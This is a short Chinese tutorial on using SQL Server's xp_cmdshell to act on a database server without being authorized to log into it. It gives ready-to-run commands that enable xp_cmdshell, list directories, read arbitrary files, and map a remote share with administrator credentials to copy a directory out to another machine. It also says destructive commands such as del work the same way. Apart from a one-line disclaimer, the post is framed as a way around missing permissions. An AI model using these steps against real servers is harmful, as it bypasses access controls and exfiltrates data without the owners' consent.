使用数据库做“非授权”的事情
有时候作为数据库的管理人员,需要对数据库服务器上进行一些本地操作,但是因为某种原因可能没有操作数据库服务器的登陆或者远程操作的权限。当然正规公司不会这样,但是一些很特殊的环境下,我们需要一些非常规的办法。
以下内容请大家甄别,勿作非法使用。
1.开启远程操作权限
也就是开启master..xp_cmdshell。方法很多,如果使用GUI,在服务器--方面--外围应用配置器
或者使用代码:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
2.查看服务器上目录信息
exec master..xp_cmdshell 'dir c:\'
3.显示某个文件的内容
exec master..xp_cmdshell 'type c:\1.txt'
注意这里要看文件的编码方式,如果与服务器默认的编码方式不一致,中文会显示乱码,如果乱码就需要使用下面的方法,把文件下载回来打开
4.下载文件
exec master..xp_cmdshell 'net use //192.168.200.111/ipc$ "pwd" /user:"user\administrator"'
exec master..xp_cmdshell 'xcopy e:\mulu\*.* 192.168.200.111/d$/test/ /s'
net use和xcpy的dos用法,大家可以自行查找,这里的语法都适用。
看到这里大家是不是很爽啊,当然一些dos下危险的操作del什么的也都能操作了,这也就是为什么需要'xp_cmdshell'关闭了,这个命令是在是太危险,功能也太强大了。